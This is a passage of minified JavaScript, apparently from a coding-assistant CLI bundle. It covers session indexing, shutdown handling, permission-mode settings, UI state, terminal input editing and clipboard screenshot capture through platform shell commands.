dS2(x,y.uuid,W.path,G,K);if(b)P.set(y.uuid,b),X++,W={...W,mtime:K.statSync(W.path).mtime.getTime()}}if(D)Y.entries=Y.entries.filter((b)=>b.sessionId!==G);let B=pS2(G,W.path,W.mtime,x,P,f,N,T,C);if(B)if(Y.entries.push(B),D)J++;else H++}catch{h(`Failed to read session file: ${W.path}`)}}if(H>0||J>0||O>0)JB6(A,Y),h(`Session index: added ${H}, updated ${J}, removed ${O}, summaries generated ${X} (total: ${Y.entries.length})`);else if(!q)JB6(A,Y),h("Created empty session index")}catch(q){KA(q)}}function cS2(A,K,q){return{date:A.modified,messages:[],isLite:!0,fullPath:A.fullPath,value:K,created:new Date(A.created),modified:new Date(A.modified),firstPrompt:A.firstPrompt,messageCount:A.messageCount,isSidechain:A.isSidechain,sessionId:A.sessionId,summary:A.summary,customTitle:A.customTitle,tag:A.tag,agentName:A.agentName,agentColor:A.agentColor,gitBranch:A.gitBranch,projectPath:q??A.projectPath}}function OB6(A,{includeSidechains:K=!1,includeAgentSessions:q=!1}={}){if(!A.isLite&&!A.messages?.length)return!1;if(A.firstPrompt?.startsWith("API Error"))return!1;if(A.summary?.startsWith("API Error"))return!1;if(!K&&A.isSidechain)return!1;if(!q&&A.teamName)return!1;return!0}function lS2(A,K){let q=[...A.values()].filter((H)=>K.has(H.uuid));if(q.length===0)return null;let Y=q.sort((H,J)=>new Date(J.timestamp).getTime()-new Date(H.timestamp).getTime())[0],z=IpA(A,Y);if(z.length===0)return null;let w=[...A.values()].filter((H)=>H.parentUuid===Y.uuid&&!K.has(H.uuid)).sort((H,J)=>new Date(H.timestamp).getTime()-new Date(J.timestamp).getTime());return z.push(...w),z}function GXK(A){let K=BA(),q=new Map,Y;try{Y=K.readdirSync(A)}catch{return q}for(let z of Y){if(!z.isFile()||!z.name.endsWith(".jsonl"))continue;let w=zv(IS2(z.name,".jsonl"));if(!w)continue;let H=yv(A,z.name);try{let J=K.statSync(H);q.set(w,{path:H,mtime:J.mtime.getTime()})}catch{h(`Failed to stat session file: ${H}`)}}return q}async function iS2(A,K){let{messages:q,summaries:Y,customTitles:z,tags:w,agentNames:H,agentColors:J,fileHistorySnapshots:O,attributionSnapshots:X,leafUuids:$}=await CPA(A);if(q.size===0)return[];let _=[...q.values()].filter((Z)=>$.has(Z.uuid)),G=[];for(let Z of _){let W=IpA(q,Z);if(W.length===0)continue;let D=[...q.values()].filter((P)=>P.parentUuid===Z.uuid&&!$.has(P.uuid)).sort((P,f)=>new Date(P.timestamp).getTime()-new Date(f.timestamp).getTime());W.push(...D);let j=W[0],M=j.sessionId;G.push({date:Z.timestamp,messages:_B6(W),fullPath:A,value:0,created:new Date(j.timestamp),modified:new Date(Z.timestamp),firstPrompt:XB6(W),messageCount:WB6(W),isSidechain:j.isSidechain??!1,sessionId:M,leafUuid:Z.uuid,summary:Y.get(Z.uuid),customTitle:z.get(M),tag:w.get(M),agentName:H.get(M),agentColor:J.get(M),gitBranch:Z.gitBranch,projectPath:K??j.cwd,fileHistorySnapshots:GB6(O,W),attributionSnapshots:ZB6(X,W)})}return G}async function sN1(A,K){let q=PB6(A),Y=GXK(A),z=new Map;if(q)for(let J of q.entries)z.set(J.sessionId,J);let w=[],H;if(!q&&K&&Y.size>K)H=[...Y.entries()].sort((O,X)=>X[1].mtime-O[1].mtime).slice(0,K).map(([O])=>O);else H=new Set([...z.keys(),...Y.keys()]);for(let J of H){let O=Y.get(J),X=z.get(J);if(!O)continue;if(!X||O.mtime>X.fileMtime){try{let G=await iS2(O.path,q?.originalPath);for(let Z of G)if(OB6(Z,{includeSidechains:!0}))w.push(Z)}catch{h(`Failed to load session file: ${O.path}`)}continue}let _=cS2(X,0,q?.originalPath);if(OB6(_,{includeSidechains:!0}))w.push(_),h(`Using cached index entry for session: ${J}`)}return vzA(w).map((J,O)=>({...J,value:O}))}var bS2=10,xS2,_e,aN1=null,a0K=!1,MB6,$XK="sessions-index.json",HB6=1;var UK=k(()=>{$8();Xw();q6();l6();y4();Oz();b1();e6();I8();p7();Jw();YN1();Z1();C1();OS();X0();wz();l1();R2();dj();o0K();q6();b1();Sw();xS2={ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION,_e=x1();MB6=z6(async(A)=>{let{messages:K}=await jB6(A);return new Set(K.keys())},(A)=>A)});import{writeSync as hpA}from"fs";function VB6(){if(!process.stdout.isTTY)return;try{hpA(1,DXA),hpA(1,M4A),hpA(1,IXA),hpA(1,Iy),hpA(1,c51)}catch{}}function fB6(){}function NB6(A){try{process.exit(A)}catch(K){process.kill(process.pid,"SIGKILL")}throw Error("unreachable")}function Y5(A=0,K="other",q){process.exitCode=A,Jq(A,K,q).catch((Y)=>{h(`Graceful shutdown failed: ${Y}`,{level:"error"}),VB6(),fB6(),NB6(A)})}async function Jq(A=0,K="other",q){if(ZXK)return;ZXK=!0,process.exitCode=A;try{let{executeSessionEndHooks:z}=await Promise.resolve().then(() => (JP(),rHK));await z(K,q)}catch{}let Y;try{let z=(async()=>{try{await nr6()}catch{}})();await Promise.race([z,new Promise((w,H)=>{Y=setTimeout(()=>H(Error("Cleanup timeout")),2000)})]),clearTimeout(Y),await c36(),VB6(),fB6(),NB6(A)}catch{clearTimeout(Y),await c36(),VB6(),fB6(),NB6(A)}}var WXK,ZXK=!1;var Sw=k(()=>{p7();Z1();R2();uIA();P4A();Ix();SXA();dj();l1();q6();UK();WXK=z6(()=>{if(process.on("SIGINT",()=>{v8("info","shutdown_signal",{signal:"SIGINT"}),Jq(0)}),process.on("SIGTERM",()=>{v8("info","shutdown_signal",{signal:"SIGTERM"}),Jq(143)}),process.platform!=="win32")process.on("SIGHUP",()=>{v8("info","shutdown_signal",{signal:"SIGHUP"}),Jq(129)});process.on("uncaughtException",(A)=>{v8("error","uncaught_exception",{error_name:A.name,error_message:A.message.slice(0,2000)}),n("tengu_uncaught_exception",{error_name:A.name})}),process.on("unhandledRejection",(A)=>{let K=A instanceof Error?A.name:typeof A==="string"?"string":"unknown",q=A instanceof Error?{error_name:A.name,error_message:A.message.slice(0,2000)}:{error_message:String(A).slice(0,2000)};v8("error","unhandled_rejection",q),n("tengu_unhandled_rejection",{error_name:K})})})});import{resolve as rS2}from"path";function oS2(A){let K=A.join(" ").trim();if(lwK(K))return Kx6();return sQ(A)}function aS2({processPwd:A,originalCwd:K}){let{resolvedPath:q,isSymlink:Y}=sJ(BA(),A);return Y?q===rS2(K):!1}function DXK({permissionModeCli:A,dangerouslySkipPermissions:K,dangerouslySkipPermissionsWithClassifiers:q}){let Y=J8()||{},z=aY("tengu_disable_bypass_permissions_mode"),w=Y.permissions?.disableBypassPermissionsMode==="disable",H=z||w,J=[];if(K)J.push("bypassPermissions");if(A)J.push(FR(A));if(Y.permissions?.defaultMode)J.push(Y.permissions.defaultMode);let O;for(let X of J){if(X==="bypassPermissions"&&H){if(z)h("bypassPermissions mode is disabled by Statsig gate",{level:"warn"}),O="Bypass permissions mode was disabled by your organization policy";else h("bypassPermissions mode is disabled by settings",{level:"warn"}),O="Bypass permissions mode was disabled by settings";continue}if(X==="delegate"&&!b8()){h("delegate mode requested but agent swarms not enabled, falling back",{level:"warn"});continue}return{mode:X,notification:O}}return{mode:"default",notification:O}}function sQ(A){if(A.length===0)return[];let K=[];for(let q of A){if(!q)continue;let Y="",z=!1;for(let w of q)switch(w){case"(":z=!0,Y+=w;break;case")":z=!1,Y+=w;break;case",":if(z)Y+=w;else{if(Y.trim())K.push(Y.trim());Y=""}break;case" ":if(z)Y+=w;else if(Y.trim())K.push(Y.trim()),Y="";break;default:Y+=w}if(Y.trim())K.push(Y.trim())}return K}function jXK({allowedToolsCli:A,disallowedToolsCli:K,baseToolsCli:q,permissionMode:Y,allowDangerouslySkipPermissions:z,addDirs:w}){let H=sQ(A),J=sQ(K);if(q&&q.length>0){let f=oS2(q),N=new Set(f),C=Kx6().filter((R)=>!N.has(R));J=[...J,...C]}let O=[],X=new Map,$=process.env.PWD;if($&&$!==V8()&&aS2({originalCwd:V8(),processPwd:$}))X.set($,{path:$,source:"session"});let _=aY("tengu_disable_bypass_permissions_mode"),G=J8()||{},Z=G.permissions?.disableBypassPermissionsMode==="disable",W=(Y==="bypassPermissions"||z)&&!_&&!Z,D=JA1(),j=[],M=PXK({mode:Y,additionalWorkingDirectories:X,alwaysAllowRules:{cliArg:H},alwaysDenyRules:{cliArg:J},alwaysAskRules:{},isBypassPermissionsModeAvailable:W},D),P=[...G.permissions?.additionalDirectories||[],...w];for(let f of P){let N=upA(f,M);if(N.resultType==="success")M=nY(M,{type:"addDirectories",directories:[N.absolutePath],destination:"cliArg"});else if(N.resultType!=="alreadyInWorkingDirectory"&&N.resultType!=="pathNotFound")O.push(BpA(N))}return{toolPermissionContext:M,warnings:O,dangerousPermissions:j}}async function TB6(){return VXK("tengu_disable_bypass_permissions_mode")}function bpA(){let A=aY("tengu_disable_bypass_permissions_mode"),q=(J8()||{}).permissions?.disableBypassPermissionsMode==="disable";return A||q}function xpA(A){let K=A;if(A.mode==="bypassPermissions")K=nY(A,{type:"setMode",mode:"default",destination:"session"});return{...K,isBypassPermissionsModeAvailable:!1}}async function MXK(A){if(!A.isBypassPermissionsModeAvailable)return;if(!await TB6())return;h("bypassPermissions mode is being disabled by Statsig gate (async check)",{level:"warn"}),Jq(1,"bypass_permissions_disabled")}var Qr=k(()=>{S2();FE();n_();q6();I8();GJ();eN1();LH();e6();B7();Z1();Sw();f_();t9()});class vB6{queue=[];waiters=[];listeners=new Set;_revision=0;get length(){return this.queue.length}get revision(){return this._revision}send(A){this._revision++;let K=this.waiters.findIndex((q)=>q.fn(A));if(K!==-1){let q=this.waiters.splice(K,1)[0];if(q){q.resolve(A),this.notify();return}}this.queue.push(A),this.notify()}poll(A=()=>!0){let K=this.queue.findIndex(A);if(K===-1)return;return this.queue.splice(K,1)[0]}receive(A=()=>!0){let K=this.queue.findIndex(A);if(K!==-1){let q=this.queue.splice(K,1)[0];if(q)return this.notify(),Promise.resolve(q)}return new Promise((q)=>{this.waiters.push({fn:A,resolve:q})})}subscribe(A){return this.listeners.add(A),()=>{this.listeners.delete(A)}}notify(){for(let A of this.listeners)A()}}function NXK(A){let K=s(3),{children:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=new vB6,K[0]=Y;else Y=K[0];let z=Y,w;if(K[1]!==q)w=LPA.default.createElement(fXK.Provider,{value:z},q),K[1]=q,K[2]=w;else w=K[2];return w}function TXK(){let A=LPA.useContext(fXK);if(!A)throw Error("useMailbox must be used within a MailboxProvider");return A}var LPA,fXK;var EB6=k(()=>{cA();LPA=o($A(),1),fXK=LPA.createContext(void 0)});function AT1(A,K){let q=A,Y=new Set;return{getState:()=>q,setState:(z)=>{let w=q,H=z(w);if(Object.is(H,w))return;q=H,K?.({newState:H,oldState:w});for(let J of Y)J()},subscribe:(z)=>{return Y.add(z),()=>Y.delete(z)}}}function RPA(){let A=(W2(),Rg(J76)),K=A.isTeammate()&&A.isPlanModeRequired()?"plan":"default";return{settings:yq(),tasks:{},verbose:!1,mainLoopModel:null,mainLoopModelForSession:null,statusLineText:void 0,showExpandedTodos:!1,showTeammateMessagePreview:!1,selectedIPAgentIndex:0,viewSelectionMode:"none",remoteSessionUrl:void 0,toolPermissionContext:{...w_(),mode:K},agent:void 0,agentDefinitions:{activeAgents:[],allAgents:[]},fileHistory:{snapshots:[],trackedFiles:new Set},attribution:pY1(),mcp:{clients:[],tools:[],commands:[],resources:{}},plugins:{enabled:[],disabled:[],commands:[],agents:[],errors:[],installationStatus:{marketplaces:[],plugins:[]}},todos:{},notifications:{current:null,queue:[]},elicitation:{queue:[]},thinkingEnabled:cZ1(),promptSuggestionEnabled:rf1(),feedbackSurvey:{timeLastShown:null,submitCountAtLastAppearance:null},sessionHooks:{},inbox:{messages:[]},workerSandboxPermissions:{queue:[],selectedIndex:0},pendingWorkerRequest:null,pendingSandboxRequest:null,promptSuggestion:{text:null,promptId:null,shownAt:0,acceptedAt:0,generationRequestId:null},speculation:X9A,speculationSessionTimeSavedMs:0,promptCoaching:{tip:null,shownAt:0},queuedCommands:[],gitDiff:{stats:null,perFileStats:new Map,hunks:new Map,lastUpdated:0},prStatus:{number:null,url:null,reviewState:null,lastUpdated:0},authVersion:0,initialMessage:null}}function $Y(A){let K=s(13),{children:q,initialState:Y,onChangeAppState:z}=A;if(E_.useContext(vXK))throw Error("AppStateProvider can not be nested within another AppStateProvider");let H;if(K[0]!==Y||K[1]!==z)H=()=>AT1(Y??RPA(),z),K[0]=Y,K[1]=z,K[2]=H;else H=K[2];let[J]=E_.useState(H),O;if(K[3]!==J)O=()=>{let{toolPermissionContext:W}=J.getState();if(W.isBypassPermissionsModeAvailable&&bpA())h("Disabling bypass permissions mode on mount (remote settings loaded before mount)"),J.setState(sS2)},K[3]=J,K[4]=O;else O=K[4];let X;if(K[5]===Symbol.for("react.memo_cache_sentinel"))X=[],K[5]=X;else X=K[5];E_.useEffect(O,X);let $;if(K[6]!==J)$=(W,D)=>{h(`Settings changed from ${W}, updating AppState`);let j=JA1();oqA(),J.setState((M)=>{let P=EXK(M.toolPermissionContext,j);if(P.isBypassPermissionsModeAvailable&&bpA())P=xpA(P);return{...M,settings:D,toolPermissionContext:P}})},K[6]=J,K[7]=$;else $=K[7];let _=E_.useEffectEvent($);lXA(_);let G;if(K[8]!==q)G=E_.default.createElement(NXK,null,q),K[8]=q,K[9]=G;else G=K[9];let Z;if(K[10]!==J||K[11]!==G)Z=E_.default.createElement(vXK.Provider,{value:!0},E_.default.createElement(kB6.Provider,{value:J},G)),K[10]=J,K[11]=G,K[12]=Z;else Z=K[12];return Z}function sS2(A){return{...A,toolPermissionContext:xpA(A.toolPermissionContext)}}function CB6(){let A=E_.useContext(kB6);if(!A)throw ReferenceError("useAppState/useSetAppState cannot be called outside of an <AppStateProvider />");return A}function F1(A){let K=s(3),q=CB6(),Y;if(K[0]!==A||K[1]!==q)Y=()=>{let w=q.getState(),H=A(w);if(w===H)throw Error(`Your selector in \`useAppState(${A.toString()})\` returned the original state, which is not allowed. You must instead return a property for optimised rendering.`);return H},K[0]=A,K[1]=q,K[2]=Y;else Y=K[2];let z=Y;return E_.useSyncExternalStore(q.subscribe,z,z)}function p4(){return CB6().setState}function D0(){return CB6()}function LI7(A){let K=s(3),q=E_.useContext(kB6),Y;if(K[0]!==A||K[1]!==q)Y=()=>q?A(q.getState()):void 0,K[0]=A,K[1]=q,K[2]=Y;else Y=K[2];return E_.useSyncExternalStore(q?q.subscribe:tS2,Y)}var E_,X9A,kB6,vXK,tS2=()=>()=>{};var A4=k(()=>{cA();U31();S2();FE();Qr();aqA();V7A();EB6();cp();zPA();I8();Z1();E_=o($A(),1),X9A={status:"idle"};kB6=E_.default.createContext(null),vXK=E_.default.createContext(!1)});function mK(){let A=F1((w)=>w.notifications.queue.length),K=p4(),q=yPA.useCallback(()=>{K((w)=>{let H=eS2(w.notifications.queue);if(w.notifications.current!==null||!H)return w;return Tm=setTimeout(()=>{Tm=null,K((J)=>{if(J.notifications.current?.key!==H.key)return J;return{...J,notifications:{queue:J.notifications.queue,current:null}}}),q()},H.timeoutMs??kXK),{...w,notifications:{queue:w.notifications.queue.filter((J)=>J!==H),current:H}}})},[K]),Y=yPA.useCallback((w)=>{if(w.priority==="immediate"){if(Tm)clearTimeout(Tm),Tm=null;Tm=setTimeout(()=>{Tm=null,K((H)=>{if(H.notifications.current?.key!==w.key)return H;return{...H,notifications:{queue:H.notifications.queue.filter((J)=>!w.invalidates?.includes(J.key)),current:null}}}),q()},w.timeoutMs??kXK),K((H)=>({...H,notifications:{current:w,queue:[...H.notifications.current?[H.notifications.current]:[],...H.notifications.queue].filter((J)=>J.priority!=="immediate"&&!w.invalidates?.includes(J.key))}}));return}K((H)=>{if(w.priority==="immediate")return H;let O=!new Set(H.notifications.queue.map((X)=>X.key)).has(w.key)&&H.notifications.current?.key!==w.key;return{...H,notifications:{current:H.notifications.current,queue:O?[...H.notifications.queue.filter((X)=>X.priority!=="immediate"&&!w.invalidates?.includes(X.key)),w]:H.notifications.queue}}}),q()},[K,q]),z=yPA.useCallback((w)=>{K((H)=>{let J=H.notifications.current?.key===w,O=H.notifications.queue.some((X)=>X.key===w);if(!J&&!O)return H;if(J&&Tm)clearTimeout(Tm),Tm=null;return{...H,notifications:{current:J?null:H.notifications.current,queue:H.notifications.queue.filter((X)=>X.key!==w)}}}),q()},[K,q]);return yPA.useEffect(()=>{if(A>0)q()},[]),{addNotification:Y,removeNotification:z}}function eS2(A){return A.sort((K,q)=>{let Y=CXK[K.priority]??999,z=CXK[q.priority]??999;return Y-z})[0]}var yPA,kXK=8000,Tm=null,CXK;var kz=k(()=>{A4();yPA=o($A(),1);CXK={immediate:0,high:1,medium:2,low:3}});var RB6={};_q(RB6,{prewarm:()=>Hh2,isModifierPressed:()=>wh2,getModifiers:()=>zh2});import{createRequire as Ah2}from"module";import{fileURLToPath as Kh2}from"url";import{dirname as qh2,join as Yh2}from"path";function LB6(){if(mpA)return mpA;if(process.platform!=="darwin")return null;try{if(process.env.MODIFIERS_NODE_PATH)mpA=CA(process.env.MODIFIERS_NODE_PATH);else{let A=Yh2(qh2(Kh2(import.meta.url)),"..","modifiers-napi",`${process.arch}-darwin`,"modifiers.node");mpA=Ah2(import.meta.url)(A)}return mpA}catch{return null}}function zh2(){let A=LB6();if(!A)return[];return A.getModifiers()}function wh2(A){let K=LB6();if(!K)return!1;return K.isModifierPressed(A)}function Hh2(){LB6()}var mpA=null;var yB6=()=>{};function RXK(){if(LXK||process.platform!=="darwin")return;LXK=!0;try{let{prewarm:A}=(yB6(),Rg(RB6));A()}catch{}}function yXK(A){if(process.platform!=="darwin")return!1;let{isModifierPressed:K}=(yB6(),Rg(RB6));return K(A)}var LXK=!1;function IXK(A){return function(K){return(new Map(A).get(K)??(()=>{}))(K)}}function KT1({value:A,onChange:K,onSubmit:q,onExit:Y,onExitMessage:z,onHistoryUp:w,onHistoryDown:H,onHistoryReset:J,onClearInput:O,mask:X="",multiline:$=!1,cursorChar:_,invert:G,columns:Z,onImagePaste:W,disableCursorMovementForUpDownKeys:D=!1,externalOffset:j,onOffsetChange:M,inputFilter:P,inlineGhostText:f,dim:N}){if(m6.terminal==="Apple_Terminal")RXK();let T=j,C=M,R=pq.fromText(A,Z,T),{addNotification:x,removeNotification:y}=mK(),B=by((wA)=>{z?.(wA,"Ctrl-C")},()=>Y?.(),()=>{if(A)K(""),C(0),J?.()}),b=by((wA)=>{if(!A||!wA)return;x({key:"escape-again-to-clear",text:"Esc to clear again",priority:"immediate",timeoutMs:1000})},()=>{if(y("escape-again-to-clear"),O?.(),A){if(l7("double-escape"),A.trim()!=="")y4A(A);K(""),C(0),J?.()}});function F(){if(A.trim()!=="")y4A(A),J?.();return pq.fromText("",Z,0)}let Q=by((wA)=>{if(A!=="")return;z?.(wA,"Ctrl-D")},()=>{if(A!=="")return;Y?.()});function u(){if(R.text==="")return Q(),R;return R.del()}function d(){let{cursor:wA,killed:GA}=R.deleteToLineEnd();return bQ(GA,"append"),wA}function r(){let{cursor:wA,killed:GA}=R.deleteToLineStart();return bQ(GA,"prepend"),wA}function c(){let{cursor:wA,killed:GA}=R.deleteWordBefore();return bQ(GA,"prepend"),wA}function YA(){let wA=I31();if(wA.length>0){let GA=R.offset,OA=R.insert(wA);return S31(GA,wA.length),OA}return R}function e(){let wA=h31();if(!wA)return R;let{text:GA,start:OA,length:t}=wA,XA=R.text.slice(0,OA),VA=R.text.slice(OA+t),vA=XA+GA+VA,RA=OA+GA.length;return b31(GA.length),pq.fromText(vA,Z,RA)}let qA=IXK([["a",()=>R.startOfLine()],["b",()=>R.left()],["c",B],["d",u],["e",()=>R.endOfLine()],["f",()=>R.right()],["h",()=>R.deleteTokenBefore()??R.backspace()],["k",d],["l",()=>F()],["n",()=>JA()],["p",()=>a()],["u",r],["w",c],["y",YA]]),HA=IXK([["b",()=>R.prevWord()],["f",()=>R.nextWord()],["d",()=>R.deleteWordAfter()],["y",e]]);function _A(wA){if($&&R.offset>0&&R.text[R.offset-1]==="\\")return wZ4(),R.backspace().insert(` `);if(wA.meta||wA.shift)return R.insert(` `);if(m6.terminal==="Apple_Terminal"&&yXK("shift"))return R.insert(` `);q?.(A)}function a(){if(D)return w?.(),R;let wA=R.up();if(!wA.equals(R))return wA;if($){let GA=R.upLogicalLine();if(!GA.equals(R))return GA}return w?.(),R}function JA(){if(D)return H?.(),R;let wA=R.down();if(!wA.equals(R))return wA;if($){let GA=R.downLogicalLine();if(!GA.equals(R))return GA}return H?.(),R}function jA(wA){switch(!0){case wA.escape:return()=>{return b(),R};case(wA.leftArrow&&(wA.ctrl||wA.meta||wA.fn)):return()=>R.prevWord();case(wA.rightArrow&&(wA.ctrl||wA.meta||wA.fn)):return()=>R.nextWord();case wA.backspace:return wA.meta?c:()=>R.deleteTokenBefore()??R.backspace();case wA.delete:return wA.meta?d:()=>R.del();case wA.ctrl:return qA;case wA.home:return()=>R.startOfLine();case wA.end:return()=>R.endOfLine();case wA.pageDown:return()=>R.endOfLine();case wA.pageUp:return()=>R.startOfLine();case wA.return:return()=>_A(wA);case wA.meta:return HA;case wA.tab:return()=>R;case(wA.upArrow&&!wA.shift):return a;case(wA.downArrow&&!wA.shift):return JA;case wA.leftArrow:return()=>R.left();case wA.rightArrow:return()=>R.right();default:return function(GA){switch(!0){case(GA==="\x1B[H"||GA==="\x1B[1~"):return R.startOfLine();case(GA==="\x1B[F"||GA==="\x1B[4~"):return R.endOfLine();default:if(R.isAtStart()&&VZ4(GA))return R.insert(AH(GA).replace(/\r/g,` `)).left();return R.insert(AH(GA).replace(/\r/g,` `))}}}}function MA(wA,GA){if(wA.ctrl&&(GA==="k"||GA==="u"||GA==="w"))return!0;if(wA.meta&&(wA.backspace||wA.delete))return!0;return!1}function hA(wA,GA){return(wA.ctrl||wA.meta)&&GA==="y"}function yA(wA,GA){let OA=P?P(wA,GA):wA;if(OA===""&&wA!=="")return;if(!GA.backspace&&!GA.delete&&wA.includes("")){let XA=(wA.match(/\x7f/g)||[]).length,VA=R;for(let vA=0;vA<XA;vA++)VA=VA.deleteTokenBefore()??VA.backspace();if(!R.equals(VA)){if(R.text!==VA.text)K(VA.text);C(VA.offset)}OIA(),XIA();return}if(!MA(GA,OA))OIA();if(!hA(GA,OA))XIA();let t=jA(GA)(OA);if(t){if(!R.equals(t)){if(R.text!==t.text)K(t.text);C(t.offset)}}}let AA=f&&N&&f.insertPosition===T?{text:f.text,dim:N}:void 0;return{onInput:yA,renderedValue:R.render(_,X,G,AA),offset:T,setOffset:C}}var IB6=k(()=>{bk();HIA();QXA();R4A();xy();kz();g2();z3()});import{randomBytes as Jh2}from"crypto";import{basename as Oh2,extname as Xh2,isAbsolute as $h2,join as SB6}from"path";function _h2(){let A=process.platform,K={darwin:"No image found in clipboard. Use Cmd + Ctrl + Shift + 4 to copy a screenshot to clipboard.",win32:"No image found in clipboard. Use Print Screen to copy a screenshot to clipboard.",linux:"No image found in clipboard. Use appropriate screenshot tool to copy a screenshot to clipboard."};return K[A]||K.linux}function SXK(){let A=process.platform,K=process.env.CLAUDE_CODE_TMPDIR||(A==="win32"?process.env.TEMP||"C:\\Temp":"/tmp"),q="claude_cli_latest_screenshot.png",Y={darwin:SB6(K,"claude_cli_latest_screenshot.png"),linux:SB6(K,"claude_cli_latest_screenshot.png"),win32:SB6(K,"claude_cli_latest_screenshot.png")},z=Y[A]||Y.linux,w={darwin:{checkImage:"osascript -e 'the clipboard as «class PNGf»'",saveImage:`osascript -e 'set png_data to (the clipboard as «class PNGf»)' -e 'set fp to open for access POSIX file "${z}" with write permission' -e 'write png_data to fp' -e 'close access fp'`,getPath:"osascript -e 'get POSIX path of (the clipboard as «class furl»)'",deleteFile:`rm -f "${z}"`},linux:{checkImage:'xclip -selection clipboard -t TARGETS -o 2>/dev/null | grep -E "image/(png|jpeg|jpg|gif|webp)" || wl-paste -l 2>/dev/null | grep -E "image/(png|jpeg|jpg|gif|webp)"',saveImage:`xclip -selection clipboard -t image/png -o > "${z}" 2>/dev/null || wl-paste --type image/png > "${z}"`,getPath:"xclip -selection clipboard -t text/plain -o 2>/dev/null || wl-paste 2>/dev/null",deleteFile:`rm -f "${z}"`},win32:{checkImage:'powershell -NoProfile -Command "(Get-Clipboard -Format Image) -ne $null"',saveImage:`powershell -NoProfile -Command "$img = Get-Clipboard -Format Image; if ($img) { $img.Save('${z.replace(/\\/g,"\\\\")}', [System.Drawing.Imaging.ImageFormat]::Png) }"`,getPath:'powershell -NoProfile -Command "Get-Clipboard"',deleteFile:`del /f "${z}"`}};return{commands:w[A]||w.linux,screenshotPath:z}}async function hXK(){if(process.platform!=="darwin")return!1;return(await A7("osascript",["-e","the clipboard as «class PNGf»"])).code===0}async function YT1(){let{commands:A,screenshotPath:K}=SXK();try{if((await wY(A.checkImage,{shell:!0,reject:!1})).exitCode!==0)return null;if((await wY(A.saveImage,{shell:!0,reject:!1})).exitCode!==0)return null;let z=BA().readFileBytesSync(K),w=await x$A(z,z.length,"png"),H=w.buffer.toString("base64"),J=nY6(H);return wY(A.deleteFile,{shell:!0,reject:!1}),{base64:H,mediaType:J,dimensions:w.dimensions}}catch{return null}}async function Gh2(){let{commands:A}=SXK();try{let K=await wY(A.getPath,{shell:!0,reject:!1});if(K.exitCode!==0||!K.stdout)return null;return K.stdout.trim()}catch(K){return KA(K),null}}function xXK(A){if(A.startsWith('"')&&A.endsWith('"')||A.startsWith("'")&&A.endsWith("'"))return A.slice(1,-1);return A}function uXK(A){if(process.platform==="win32")return A;let Y=`__DOUBLE_BACKSLASH_${Jh2(8).toString("hex")}__`;return A.replace(/\\\\/g,Y).replace(/\\(.)/g,"$1").replace(new RegExp(Y,"g"),"\\")}function zT1(A){let K=xXK(A.trim()),q=uXK(K);return bXK.test(q)}function Zh2(A){let K=xXK(A.trim()),q=uXK(K);if(bXK.test(q))return q;return null}async function BXK(A){let K=Zh2(A);if(!K)return null;let q=K,Y;try{if($h2(q))Y=BA().readFileBytesSync(q);else{let O=await Gh2();if(O&&q===Oh2(O))Y=BA().readFileBytesSync(O)}}catch(O){return KA(O),null}if(!Y)return null;let z=Xh2(q).slice(1).toLowerCase()||"png",w=await x$A(Y,Y.length,z),H=w.buffer.toString("base64"),J=nY6(H);return{path:q,base64:H,mediaType:J,dimensions:w.dimensions}}var dWJ,qT1=800,bXK;var wT1=k(()=>{CK();rP();e6();C1();Au();dWJ=_h2();bXK=/\.(png|jpe?g|gif|webp)$/i});import{basename as Wh2}from"path";function mXK({onPaste:A,onInput:K,onImagePaste:q}){let[Y,z]=kL.default.useState({chunks:[],timeoutId:null}),[w,H]=kL.default.useState(!1),J=kL.default.useRef(!1),O=kL.default.useRef(!1),X=kL.default.useRef(!1),$=kL.default.useRef(!0),_=kL.default.useMemo(()=>o6()==="macos",[]);kL.default.useEffect(()=>{return()=>{$.current=!1}},[]);let G=kL.default.useCallback(()=>{if(!q||!$.current)return;YT1().then((M)=>{if(M&&$.current)q(M.base64,M.mediaType,void 0,M.dimensions)}).catch((M)=>{if($.current)KA(M)}).finally(()=>{if($.current)H(!1)})},[q]),Z=fr(G,Dh2),W=kL.default.useCallback((M)=>{if(M)clearTimeout(M);return setTimeout(()=>{z(({chunks:P})=>{let f=P.join("").replace(/\[I$/,"").replace(/\[O$/,""),N=f.split(/ (?=\/|[A-Za-z]:\\)/).flatMap((C)=>C.split(` `)).filter((C)=>C.trim()),T=N.filter((C)=>zT1(C));if(q&&T.length>0){let C=/\/TemporaryItems\/.*screencaptureui.*\/Screenshot/i.test(f);return Promise.all(T.map((R)=>BXK(R))).then((R)=>{let x=R.filter((y)=>y!==null);if(x.length>0){for(let B of x){let b=Wh2(B.path);q(B.base64,B.mediaType,b,B.dimensions,B.path)}let y=N.filter((B)=>!zT1(B));if(y.length>0&&A)A(y.join(` `));H(!1)}else if(C&&_)Z();else{if(A)A(f);H(!1)}}),{chunks:[],timeoutId:null}}if(_&&q&&f.length===0)return Z(),{chunks:[],timeoutId:null};if(A)A(f);return H(!1),{chunks:[],timeoutId:null}})},jh2)},[Z,_,q,A]),{stdin:D}=Vr();return kL.default.useEffect(()=>{if(!D)return;let M=(P)=>{let f=P.toString();if(f.includes("\x1B[200~"))H(!0),J.current=!0,O.current=!1,X.current=!1;if(J.current&&!X.current){if(f.replaceAll("\x1B[200~","").replaceAll("\x1B[201~","").replaceAll("\x1B[I","").replaceAll("\x1B[O","").replace(/\[[IO]$/,"").length>0)X.current=!0}if(f.includes("\x1B[201~")){if(!X.current)H(!1);if(_&&J.current&&!X.current&&q)Z();if(J.current=!1,O.current=!1,!X.current)z((N)=>{if(N.timeoutId)clearTimeout(N.timeoutId);return{chunks:[],timeoutId:null}});X.current=!1}};return D.on("data",M),()=>{D.off("data",M),H(!1)}},[D,q,Z,_]),{wrappedOnInput:(M,P)=>{if(J.current)O.current=!0;let f=M.split(/ (?=\/|[A-Za-z]:\\)/).flatMap((T)=>T.split(` `)).some((T)=>zT1(T.trim()));if(A&&(M.length>qT1||Y.timeoutId||f||w)){z(({chunks:T,timeoutId:C})=>{return{chunks:[...T,M],timeoutId:W(C)}});return}if(K(M,P),M.length>10)H(!1)},pasteState:Y,isPasting:w}}var kL,Dh2=50,jh2=100;var gXK=k(()=>{mA();aO();wT1();B5();C1();kL=o($A(),1)});function 